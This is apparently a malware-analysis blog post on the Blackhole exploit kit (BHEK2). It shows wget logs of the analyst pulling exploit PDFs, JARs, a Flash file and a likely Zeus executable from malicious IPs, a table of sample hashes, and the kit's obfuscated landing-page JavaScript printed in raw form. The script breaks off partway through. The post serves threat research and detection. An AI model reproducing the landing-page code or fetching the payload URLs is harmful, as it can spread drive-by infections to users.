2013-03-02 22:26:35 (203 KB/s) - `p1.pdf' saved [20389/20389]

--2013-03-02 22:30:56--  hxxp://80.248.238.15//231a51bb54657c855360782e728bbf6d/q.php?pcuk=32:1h:1l:1l:1j&rkto=38&zqqlekft=1g:1n:32:33:1n:1n:1n:2v:31:1o&asmfjr=1g:1f:1d:1g:1f:1h
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:18:16 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 10973
  Content-Disposition: inline; filename=edcca.pdf
  Connection: close
Length: 10973 (11K) [application/pdf]
Saving to: `p2.pdf'

     0K ..........                                            100% 9.96K=1.1s

2013-03-02 22:30:58 (9.96 KB/s) - `p2.pdf' saved [10973/10973]

--2013-03-02 22:32:59--  hxxp://80.248.238.15//231a51bb54657c855360782e728bbf6d/q.php?pcuk=32:1h:1l:1l:1j&rkto=38&zqqlekft=1g:1n:32:33:1n:1n:1n:2v:31:1o&asmfjr=1o:1d:1i
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:20:19 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Accept-Ranges: bytes
  Content-Length: 10006
  Content-Disposition: inline; filename=7661e.pdf
  Connection: close
Length: 10006 (9.8K) [application/pdf]
Saving to: `p2_a.pdf'

     0K .........                                             100% 10.6K=0.9s

2013-03-02 22:33:00 (10.6 KB/s) - `p2_a.pdf' saved [10006/10006]

--2013-03-02 22:33:45--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?xjnnfg=32:1h:1l:1l:1j&yglzthqd=33:3l:3n&cmjxuoea=1g:1n:32:33:1n:1n:1n:2v:31:1o&mccehrt=1o:1d:1i
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:21:05 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20389
  ETag: "c0f111989697cf4e9311e5c7f2757b51"
  Last-Modified: Sat, 02 Mar 2013 20:25:23 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 20389 (20K) [application/pdf]
Saving to: `p1.pdf'

     0K .......... .........                                  100%  229K=0.09s

2013-03-02 22:33:45 (229 KB/s) - `p1.pdf' saved [20389/20389]

--2013-03-02 22:36:10--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?xjnnfg=32:1h:1l:1l:1j&yglzthqd=33:3l:3n&cmjxuoea=1g:1n:32:33:1n:1n:1n:2v:31:1o&mccehrt=1g:1f:1d:1g:1f:1j
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:23:30 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20341
  ETag: "b58800750b75a9546ed7227f797d83f5"
  Last-Modified: Sat, 02 Mar 2013 20:27:48 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 20341 (20K) [application/pdf]
Saving to: `p3.pdf'

     0K .......... .........                                  100%  334K=0.06s

2013-03-02 22:36:11 (334 KB/s) - `p3.pdf' saved [20341/20341]

--2013-03-02 22:41:08--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?iywghqq=32:1h:1l:1l:1j&yayuotd=3c:3e:39:3e:38:38&lfrj=1g:1n:32:33:1n:1n:1n:2v:31:1o&info=02e6ffb0a173ba4a727abaf74e10f62852e75f8c3b04706c3
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:28:28 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `f1.swf'

     0K ..                                                     1.29M=0.002s

2013-03-02 22:41:08 (1.29 MB/s) - `f1.swf' saved [2671]

--2013-03-02 22:45:16--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:32:36 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22404
  ETag: "29a92c3eedd77110bc1dc12948eb909c"
  Last-Modified: Sat, 02 Mar 2013 20:36:54 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22404 (22K) [application/java-archive]
Saving to: `j1.jar'

     0K .......... .......... .                               100%  333K=0.07s

2013-03-02 22:45:16 (333 KB/s) - `j1.jar' saved [22404/22404]

--2013-03-02 22:46:09--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:33:29 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22339
  ETag: "91414b8f2a3f971352b8432a856ddf70"
  Last-Modified: Sat, 02 Mar 2013 20:37:47 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22339 (22K) [application/java-archive]
Saving to: `j1_a.jar'

     0K .......... .......... .                               100% 33.3K=0.7s

2013-03-02 22:46:10 (33.3 KB/s) - `j1_a.jar' saved [22339/22339]

--2013-03-02 22:47:40--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:35:00 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22404
  ETag: "29a92c3eedd77110bc1dc12948eb909c"
  Last-Modified: Sat, 02 Mar 2013 20:39:18 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22404 (22K) [application/java-archive]
Saving to: `j2.jar'

     0K .......... .......... .                               100%  370K=0.06s

2013-03-02 22:47:41 (370 KB/s) - `j2.jar' saved [22404/22404]

--2013-03-02 22:48:40--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?awzq=gtyfkz&rrgltzf=jwibjubx
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:36:00 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22339
  ETag: "91414b8f2a3f971352b8432a856ddf70"
  Last-Modified: Sat, 02 Mar 2013 20:40:18 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22339 (22K) [application/java-archive]
Saving to: `j2_a.jar'

     0K .......... .......... .                               100%  179K=0.1s

2013-03-02 22:48:41 (179 KB/s) - `j2_a.jar' saved [22339/22339]

Again Wepawet to the rescue giving us the final malware URL. No hard decoding work is needed so lets go and fetch the EXE:



--2013-03-02 23:09:26--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/231a51bb54657c855360782e728bbf6d/q.php?ngqxjn=32:1h:1l:1l:1j&qhx=1g:1n:32:33:1n:1n:1n:2v:31:1o&lcrni=1h&fmhyeulp=tqugjmzo&yqmlyi=gtqthzo
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:56:46 GMT
  Server: nginx/0.7.65
  Content-Type: application/x-msdownload
  X-Powered-By: PHP/5.3.2
  Pragma: public
  Expires: Sat, 02 Mar 2013 21:01:04 GMT
  Cache-Control: must-revalidate, post-check=0, pre-check=0
  Cache-Control: private
  Content-Disposition: attachment; filename="readme.exe"
  Content-Transfer-Encoding: binary
  Content-Length: 153960
  Connection: close
Length: 153960 (150K) [application/x-msdownload]
Saving to: `e1.exe'

     0K .......... .......... .......... .......... .......... 33%  416K 0s
    50K .......... .......... .......... .......... .......... 66%  835K 0s
   100K .......... .......... .......... .......... .......... 99% 1.41M 0s
   150K                                                       100%  671G=0.2s

2013-03-02 23:09:27 (700 KB/s) - `e1.exe' saved [153960/153960]
 

For reference here's the files fetched:



q2.php - landing page/plugin detect
MD5: 01b360a11a8b0a4841107ed0201af81f
Wepwwet: http://wepawet.iseclab.org/view.php?hash=01b360a11a8b0a4841107ed0201af81f&type=js

p1 - PDF 1
MD5: 31dc5225fc63f04e3b67562d671d8c31
Wepawet: malicious http://wepawet.iseclab.org/view.php?hash=31dc5225fc63f04e3b67562d671d8c31&type=js
CVE-2009-0927

p2 - PDF 2
MD5: da913464bea5e3d0f304a2d23a3a9b80
Wepawet: benign http://wepawet.iseclab.org/view.php?hash=da913464bea5e3d0f304a2d23a3a9b80&type=js
Virustotal: 11/46 https://www.virustotal.com/nb/file/6cc4abe4a72ed33fe06f4c10be569e552351b2bda18af23b98b4a9bd1b904e6a/analysis/1362266822/

p2_a - PDF 3
MD5: bf3064f9508913d59ab5f2a9c4612659
Wepawet: benign http://wepawet.iseclab.org/view.php?hash=bf3064f9508913d59ab5f2a9c4612659&type=js
Virustotal: 11/46 https://www.virustotal.com/nb/file/2f3efd4ac2e5cc1cdd3e179fb91d0838440040f12fc51147d05ac5f33df162d3/analysis/1362266844/

j1 - JAR 1
MD5: 29a92c3eedd77110bc1dc12948eb909c
Virustotal: 1/46 https://www.virustotal.com/nb/file/ba2fc06b38dbfb50b676d6eadeac0799deb50d4325dc0cfb1b4fd18906e6f95f/analysis/1362263272/

j1_a.jar - JAR 2
MD5: 91414b8f2a3f971352b8432a856ddf70
Virustotal 1/45 https://www.virustotal.com/nb/file/bd49d9a2f354c6197e3373b66099652e18bf06a65154eb26db659857579e57aa/analysis/1362263287/

1.swf - Flash 1
MD5: db2d3584fdbacdb7fd58fadc558144ae
Virustotal: 12/46 https://www.virustotal.com/nb/file/6d55150b066434d213074c200e2d1b8485cada62d1472e0013f10c7f136c58b7/analysis/1362269811/

1.exe - what they went through all the above trouble to give yo us...
MD5: 7cf4f07f1771ad4c7cf97923c9825c61
Virustotal: 5/46 https://www.virustotal.com/nb/file/054aa312d8c16268d3e59062562b8e9347eeddd8f20b842b16bfebcdedd0690e/analysis/1362266575/

Probably Zeus.


That went well :)


Thanks to @unixfreaxjp  for inspiration 

Friday, March 1, 2013

Analyzing BHEK2 made easy

- or I tried my best and it felt good to grab candy from these babies


I picked up this URL hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php and that looked to me to be a blackhole landing page.
Since I had the refering page aswell I went right to the task to look into it

1. Fetch the landing page


hxxp://129.121.65.54/27aa2a2ac05d97b8a923519db359409c/q.php
Connecting to 129.121.65.54:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Fri, 01 Mar 2013 11:24:50 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `q.php'

     0K .......... .......... .......... .......... .......... 52.0K
    50K .......... .......... .......... .......... .......... 31.8K
   100K .......... ...                                         43.2K=2.8s

(39.9 KB/s) - `q.php' saved [115757]

What did we get:

<head><title></title></head><body><object classid="clsid:8AD9C84O-O44E-11D1-B3E9-OO8O5F499D93" codebase="&#1O4;ttp://java.sun.com/update/1.6.O/jinstall-6u6O-windows-i586.cab&#35;Version=6,O,O,O" WIDTH="15O" HEIGHT="15O"><PARAM value="&#OO1O4;&#OO119;" name="code"><param name="type" value="application/x-java-applet"><param name="prime" value="w4LjhBVVhVhV%f4McB?rVch146cM?14cLfc%jhBVVhVhV%f4McB?rVch146cM?14cLfc%jFw3D3xC.b6DO6qO68O1fO6CRSeb6AO6oO1hO11O6oO6oO6oOhvO16O6tR%b6.RvKbkR?kbq" /><PARAM NAME="ARCHIVE" VALUE="/27aa2a2acO5d97b8a923519db3594O9c/q.php?vroam=wlxsvp&mycywu=jdgzkwrq"><param value="Dyy3Ojj6hcw6h6wP4" name="val"/></object><script>if(window.document){function c(){for(i=O,s="";i<a.length;i++){s+=String.fromCharCode(a[i]);}}if(window.document)csq=function(){z(s.concat(""));};try{document.body=~2}catch(q){xc=1;if(q)e=eval;rr="rep"+"la"+"ce";doc=document;}try{vasv()}catch(q){ff="e";}try{gewh=1;}catch(sav){xc=false;}vvz="\\"+"(";if(xc)rrr=new RegExp(vvz,"ig");}</script><script language="javascript">
</script><script language="javascript">
var a = [112,1OO,112,1OO,61,123,118,1O1,114,115,1O5,111,11O,58,34,48,46,55,46,57,34,44,11O,97,1O9,1O1,58,34,112,1OO,112,1OO,34,44,1O4,97,11O,1OO,1O8,1O1,114,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,98,44,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,99,4O,98,44,97,41,125,125,44,111,112,1O1,11O,84,97,1O3,58,34,6O,34,44,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,33,61,34,117,11O,1OO,1O1,1O2,1O5,11O,1O1,1OO,34,125,44,1O5,115,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,4O,47,97,114,114,97,121,47,1O5,41,46,116,1O1,115,116,4O,79,98,1O6,1O1,99,116,46,112,114,111,116,111,116,121,112,1O1,46,116,111,83,116,114,1O5,11O,1O3,46,99,97,1O8,1O8,4O,98,41,41,125,44,1O5,115,7O,117,11O,99,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,61,61,34,1O2,117,11O,99,116,1O5,111,11O,34,125,44,1O5,115,83,116,114,1O5,11O,1O3,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,61,61,34,115,116,114,1O5,11O,1O3,34,125,44,1O5,115,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,32,116,121,112,1O1,111,1O2,32,98,61,61,34,11O,117,1O9,98,1O1,114,34,125,44,1O5,115,83,116,114,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,114,1O1,116,117,114,11O,4O,116,121,112,1O1,111,1O2,32,98,61,61,34,115,116,114,1O5,11O,1O3,34,38,38,4O,47,92,1OO,47,41,46,116,1O1,115,116,4O,98,41,41,125,44,1O3,1O1,116,78,117,1O9,82,1O1,1O3,12O,58,47,91,92,1OO,93,91,92,1OO,92,46,92,95,44,45,93,42,47,44,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,58,47,91,92,46,92,95,44,45,93,47,1O3,44,1O3,1O1,116,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,99,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,97,61,1OO,46,1O5,115,83,116,114,78,117,1O9,4O,98,41,63,4O,1OO,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,99,41,63,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,99,41,58,1OO,46,1O3,1O1,116,78,117,1O9,82,1O1,1O3,12O,41,46,1O1,12O,1O1,99,4O,98,41,58,11O,117,1O8,1O8,59,114,1O1,116,117,114,11O,32,97,63,97,91,48,93,58,11O,117,1O8,1O8,125,44,99,111,1O9,112,97,114,1O1,78,117,1O9,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O4,44,1O2,44,1OO,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,99,44,98,44,97,44,1O3,61,112,97,114,115,1O1,73,11O,116,59,1O5,1O2,4O,1O1,46,1O5,115,83,116,114,78,117,1O9,4O,1O4,41,38,38,1O1,46,1O5,115,83,116,114,78,117,1O9,4O,1O2,41,41,123,1O5,1O2,4O,1O1,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,1OO,41,38,38,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,41,123,114,1O1,116,117,114,11O,32,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O4,44,1O2,41,125,99,61,1O4,46,115,112,1O8,1O5,116,4O,1O1,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,98,61,1O2,46,115,112,1O8,1O5,116,4O,1O1,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,1O2,111,114,4O,97,61,48,59,97,6O,77,97,116,1O4,46,1O9,1O5,11O,4O,99,46,1O8,1O1,11O,1O3,116,1O4,44,98,46,1O8,1O1,11O,1O3,116,1O4,41,59,97,43,43,41,123,1O5,1O2,4O,1O3,4O,99,91,97,93,44,49,48,41,62,1O3,4O,98,91,97,93,44,49,48,41,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O3,4O,99,91,97,93,44,49,48,41,6O,1O3,4O,98,91,97,93,44,49,48,41,41,123,114,1O1,116,117,114,11O,32,45,49,125,125,125,114,1O1,116,117,114,11O,32,48,125,44,1O2,111,114,1O9,97,116,78,117,1O9,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,99,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,97,44,1O1,59,1O5,1O2,4O,33,1OO,46,1O5,115,83,116,114,78,117,1O9,4O,98,41,41,123,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,1O5,1O2,4O,33,1OO,46,1O5,115,78,117,1O9,4O,99,41,41,123,99,61,52,125,99,45,45,59,1O1,61,98,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,46,115,112,1O8,1O5,116,4O,1OO,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,46,99,111,11O,99,97,116,4O,91,34,48,34,44,34,48,34,44,34,48,34,44,34,48,34,93,41,59,1O2,111,114,4O,97,61,48,59,97,6O,52,59,97,43,43,41,123,1O5,1O2,4O,47,94,4O,48,43,41,4O,46,43,41,36,47,46,116,1O1,115,116,4O,1O1,91,97,93,41,41,123,1O1,91,97,93,61,82,1O1,1O3,69,12O,112,46,36,5O,125,1O5,1O2,4O,97,62,99,124,124,33,4O,47,92,1OO,47,41,46,116,1O1,115,116,4O,1O1,91,97,93,41,41,123,1O1,91,97,93,61,34,48,34,125,125,114,1O1,116,117,114,11O,32,1O1,46,115,1O8,1O5,99,1O1,4O,48,44,52,41,46,1O6,111,1O5,11O,4O,34,44,34,41,125,44,36,36,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,1O5,1O2,4O,33,97,46,1O5,115,73,69,38,38,99,41,123,118,97,114,32,1O2,44,1O1,44,98,44,1OO,61,97,46,1O5,115,65,114,114,97,121,4O,99,41,63,99,58,4O,97,46,1O5,115,83,116,114,1O5,11O,1O3,4O,99,41,63,91,99,93,58,91,93,41,59,1O2,111,114,4O,98,61,48,59,98,6O,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,98,43,43,41,123,1O5,1O2,4O,97,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1OO,91,98,93,41,38,38,47,91,94,92,115,93,47,46,116,1O1,115,116,4O,1OO,91,98,93,41,41,123,1O2,61,11O,97,118,1O5,1O3,97,116,111,114,46,1O9,1O5,1O9,1O1,84,121,112,1O1,115,91,1OO,91,98,93,93,59,1O1,61,1O2,63,1O2,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,48,59,1O5,1O2,4O,1O1,38,38,4O,1O1,46,11O,97,1O9,1O1,124,124,1O1,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,41,41,123,114,1O1,116,117,114,11O,32,1O2,125,125,125,125,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,125,44,1O2,1O5,11O,1OO,78,97,118,8O,1O8,117,1O3,1O5,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O8,44,1O1,44,99,41,123,118,97,114,32,1O6,61,116,1O4,1O5,115,44,1O4,61,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,1O8,44,34,1O5,34,41,44,1OO,61,4O,33,1O6,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,1O1,41,124,124,1O1,41,63,47,92,1OO,47,58,48,44,1O7,61,99,63,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,99,44,34,1O5,34,41,58,48,44,97,61,11O,97,118,1O5,1O3,97,116,111,114,46,112,1O8,117,1O3,1O5,11O,115,44,1O3,61,34,34,44,1O2,44,98,44,1O9,59,1O2,111,114,4O,1O2,61,48,59,1O2,6O,97,46,1O8,1O1,11O,1O3,116,1O4,59,1O2,43,43,41,123,1O9,61,97,91,1O2,93,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,1O3,59,98,61,97,91,1O2,93,46,11O,97,1O9,1O1,124,124,1O3,59,1O5,1O2,4O,4O,1O4,46,116,1O1,115,116,4O,1O9,41,38,38,4O,33,1OO,124,124,1OO,46,116,1O1,115,116,4O,82,1O1,1O3,69,12O,112,46,1O8,1O1,1O2,116,67,111,11O,116,1O1,12O,116,43,82,1O1,1O3,69,12O,112,46,114,1O5,1O3,1O4,116,67,111,11O,116,1O1,12O,116,41,41,41,124,124,4O,1O4,46,116,1O1,115,116,4O,98,41,38,38,4O,33,1OO,124,124,1OO,46,116,1O1,115,116,4O,82,1O1,1O3,69,12O,112,46,1O8,1O1,1O2,116,67,111,11O,116,1O1,12O,116,43,82,1O1,1O3,69,12O,112,46,114,1O5,1O3,1O4,116,67,111,11O,116,1O1,12O,116,41,41,41,41,123,1O5,1O2,4O,33,1O7,124,124,33,4O,1O7,46,116,1O1,115,116,4O,1O9,41,124,124,1O7,46,116,1O1,115,116,4O,98,41,41,41,123,114,1O1,116,117,114,11O,32,97,91,1O2,93,125,125,125,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,44,1O3,1O1,116,77,1O5,1O9,1O1,69,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O7,44,1O9,44,99,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,1O2,44,98,61,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,1O9,44,34,1O5,34,41,44,1O4,61,34,34,44,1O3,61,99,63,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,99,44,34,1O5,34,41,58,48,44,97,44,1O8,44,1OO,44,1O6,61,1O1,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O7,41,63,91,1O7,93,58,1O7,59,1O2,111,114,4O,1OO,61,48,59,1OO,6O,1O6,46,1O8,1O1,11O,1O3,116,1O4,59,1OO,43,43,41,123,1O5,1O2,4O,4O,1O2,61,1O1,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,1O6,91,1OO,93,41,41,38,38,4O,1O2,61,1O2,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,41,41,123,1O8,61,1O2,46,1OO,1O1,115,99,114,1O5,112,116,1O5,111,11O,124,124,1O4,59,97,61,1O2,46,11O,97,1O9,1O1,124,124,1O4,59,1O5,1O2,4O,98,46,116,1O1,115,116,4O,1O8,41,124,124,98,46,116,1O1,115,116,4O,97,41,41,123,1O5,1O2,4O,33,1O3,124,124,33,4O,1O3,46,116,1O1,115,116,4O,1O8,41,124,124,1O3,46,116,1O1,115,116,4O,97,41,41,41,123,114,1O1,116,117,114,11O,32,1O2,125,125,125,125,114,1O1,116,117,114,11O,32,48,125,44,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,7O,1O5,1O8,1O1,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,44,98,41,123,118,97,114,32,1O4,61,116,1O4,1O5,115,44,1O1,44,1OO,44,1O3,44,97,44,99,61,45,49,59,1O5,1O2,4O,1O4,46,79,83,62,5O,124,124,33,1O2,124,124,33,1O2,46,118,1O1,114,115,1O5,111,11O,124,124,33,4O,1O1,61,1O4,46,1O3,1O1,116,78,117,1O9,4O,1O2,46,118,1O1,114,115,1O5,111,11O,41,41,41,123,114,1O1,116,117,114,11O,32,98,125,1O5,1O2,4O,33,98,41,123,114,1O1,116,117,114,11O,32,1O1,125,1O1,61,1O4,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,41,59,98,61,1O4,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,98,41,59,1OO,61,98,46,115,112,1O8,1O5,116,4O,1O4,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,1O3,61,1O1,46,115,112,1O8,1O5,116,4O,1O4,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,41,59,1O2,111,114,4O,97,61,48,59,97,6O,1OO,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,45,49,6O,99,38,38,99,6O,97,38,38,33,4O,1OO,91,97,93,61,61,34,48,34,41,41,123,114,1O1,116,117,114,11O,32,98,125,1O5,1O2,4O,1O3,91,97,93,33,61,1OO,91,97,93,41,123,1O5,1O2,4O,99,61,61,45,49,41,123,99,61,97,125,1O5,1O2,4O,1OO,91,97,93,33,61,34,48,34,41,123,114,1O1,116,117,114,11O,32,98,125,125,125,114,1O1,116,117,114,11O,32,1O1,125,44,65,88,79,58,119,1O5,11O,1OO,111,119,46,65,99,116,1O5,118,1O1,88,79,98,1O6,1O1,99,116,44,1O3,1O1,116,65,88,79,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,118,97,114,32,1O2,61,11O,117,1O8,1O8,44,1OO,44,98,61,116,1O4,1O5,115,44,99,61,123,125,59,116,114,121,123,1O2,61,11O,1O1,119,32,98,46,65,88,79,4O,97,41,125,99,97,116,99,1O4,4O,1OO,41,123,125,114,1O1,116,117,114,11O,32,1O2,125,44,99,111,11O,118,1O1,114,116,7O,117,11O,99,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O2,41,123,118,97,114,32,97,44,1O3,44,1OO,44,98,61,47,94,91,92,36,93,91,92,36,93,47,44,99,61,116,1O4,1O5,115,59,1O2,111,114,4O,97,32,1O5,11O,32,1O2,41,123,1O5,1O2,4O,98,46,116,1O1,115,116,4O,97,41,41,123,116,114,121,123,1O3,61,97,46,115,1O8,1O5,99,1O1,4O,5O,41,59,1O5,1O2,4O,1O3,46,1O8,1O1,11O,1O3,116,1O4,62,48,38,38,33,1O2,91,1O3,93,41,123,1O2,91,1O3,93,61,1O2,91,97,93,4O,1O2,41,59,1OO,1O1,1O8,1O1,116,1O1,32,1O2,91,97,93,125,125,99,97,116,99,1O4,4O,1OO,41,123,125,125,125,125,44,1O5,11O,1O5,116,79,98,1O6,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O1,44,98,44,1OO,41,123,118,97,114,32,97,44,99,59,1O5,1O2,4O,1O1,41,123,1O5,1O2,4O,1O1,91,98,91,48,93,93,61,61,49,124,124,1OO,41,123,1O2,111,114,4O,97,61,48,59,97,6O,98,46,1O8,1O1,11O,1O3,116,1O4,59,97,61,97,43,5O,41,123,1O1,91,98,91,97,93,93,61,98,91,97,43,49,93,125,125,1O2,111,114,4O,97,32,1O5,11O,32,1O1,41,123,99,61,1O1,91,97,93,59,1O5,1O2,4O,99,38,38,99,91,98,91,48,93,93,61,61,49,41,123,116,1O4,1O5,115,46,1O5,11O,1O5,116,79,98,1O6,4O,99,44,98,41,125,125,125,125,44,1O5,11O,1O5,116,83,99,114,1O5,112,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,97,61,11O,97,118,1O5,1O3,97,116,111,114,44,1O4,44,1O5,61,1OO,111,99,117,1O9,1O1,11O,116,44,1O8,61,97,46,117,115,1O1,114,65,1O3,1O1,11O,116,124,124,34,34,44,1O6,61,97,46,118,1O1,11O,1OO,111,114,124,124,34,34,44,98,61,97,46,112,1O8,97,116,1O2,111,114,1O9,124,124,34,34,44,1O7,61,97,46,112,114,111,1OO,117,99,116,124,124,34,34,59,1OO,46,1O5,11O,1O5,116,79,98,1O6,4O,1OO,44,91,34,36,34,44,1OO,93,41,59,1O2,111,114,4O,1O4,32,1O5,11O,32,1OO,46,8O,1O8,117,1O3,1O5,11O,115,41,123,1O5,1O2,4O,1OO,46,8O,1O8,117,1O3,1O5,11O,115,91,1O4,93,41,123,1OO,46,1O5,11O,1O5,116,79,98,1O6,4O,1OO,46,8O,1O8,117,1O3,1O5,11O,115,91,1O4,93,44,91,34,36,34,44,1OO,44,34,36,36,34,44,1OO,46,8O,1O8,117,1O3,1O5,11O,115,91,1O4,93,93,44,49,41,125,125,1OO,46,99,111,11O,118,1O1,114,116,7O,117,11O,99,115,4O,1OO,41,59,1OO,46,79,83,61,49,48,48,59,1O5,1O2,4O,98,41,